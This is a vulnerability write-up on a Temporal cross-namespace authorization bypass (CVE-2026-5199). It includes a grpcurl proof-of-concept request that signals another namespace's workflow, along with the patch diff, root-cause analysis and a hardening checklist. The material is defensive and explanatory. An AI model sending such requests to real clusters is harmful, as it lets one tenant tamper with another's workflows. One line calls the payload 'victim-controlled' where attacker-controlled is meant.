The Exploit
Attacker requires a writer role in an attacker-controlled namespace and access to Temporal's batch operation API on a cluster where internal frontend authorization permits cross-namespace actions.
grpcurl -plaintext \
-d '{
"namespaceId":"attacker-namespace-id",
"request":{
"namespace":"victim-namespace",
"operation":{
"signalOperation":{"signal":"alert"}
}
},
"executions":[{"workflowId":"victim-workflow-id"}]
}' \
TARGET:7233 temporal.api.workflowservice.v1.WorkflowService/StartBatchOperation
The vulnerable server accepts the request even though request.namespace is a different namespace than the one bound to the worker, then executes the signal against the victim workflow. The response is success and the attacker observes the victim workflow receive the signal despite only having writer access in their own namespace.
What the Patch Did
Before:
func (a *activities) checkNamespaceID(namespaceID string) error {
if namespaceID != a.namespaceID.String() {
return errNamespaceMismatch
}
return nil
}
...
eventId, err = getResetEventIDByType(ctx, operation.ResetOperation.ResetType, batchOperation.Request.Namespace, execution, frontendClient, logger)
After:
func (a *activities) checkNamespaceProtobuf(batchParams *batchspb.BatchOperationInput) error {
if batchParams.NamespaceId != a.namespaceID.String() {
return errNamespaceMismatch
}
ns := a.namespace.String()
if req := batchParams.GetRequest(); req != nil && req.GetNamespace() != ns {
return errNamespaceMismatch
}
return nil
}
...
eventId, err = getResetEventIDByType(ctx, operation.ResetOperation.ResetType, namespace, execution, frontendClient, logger)
The patch adds an explicit check that the request's namespace name matches the worker's trusted namespace and stops using the attacker-controlled batchOperation.Request.Namespace for reset event lookup. This is an authorization control: it prevents an untrusted request field from overriding the worker-bound namespace used for privileged internal calls.
Root Cause
This was an authorization bypass (CWE-862) caused by inconsistent namespace validation. The exploit path starts with BatchOperationInput.Request.Namespace from a victim-controlled StartBatchOperation payload. The code already validated BatchOperationInput.NamespaceId, but it did not verify that the embedded Request.Namespace agreed with the worker's own bound namespace. That attacker-controlled namespace name was later used in internal operations like signaling workflows and reset event lookup, crossing the trust boundary between the user's batch request and the server-trusted worker identity.
Why It Works
The load-bearing fix is the added req.GetNamespace() != ns check inside checkNamespaceProtobuf. Without that line, the worker would still accept a batch request where NamespaceId matches the worker but Request.Namespace is a different namespace, and the worker would continue using the supplied namespace name for internal frontend calls. The preceding NamespaceId check and the reset-path replacement with namespace are both important secondary protections: one confirms the request targets the worker's namespace ID, and the other prevents reset logic from reading the wrong namespace name from the request object.
Hardening Checklist
- Compare both namespace ID and namespace name when request objects carry both fields, instead of validating only one.
- Never use request-supplied namespace strings for internal RPC calls such as
SignalWorkflowExecutionor reset event lookups. - Use server-trusted namespace state (
a.namespace.String()/ worker-bound namespace) as the source of truth for authorization decisions. - Apply strict authorization or TLS-based identity validation on internal frontend components to avoid trusting worker-local credential scopes.
- Add regression tests for mismatched
BatchOperationInput.NamespaceIdandStartBatchOperationRequest.Namespacecombinations.
References
- https://nvd.nist.gov/vuln/detail/CVE-2026-5199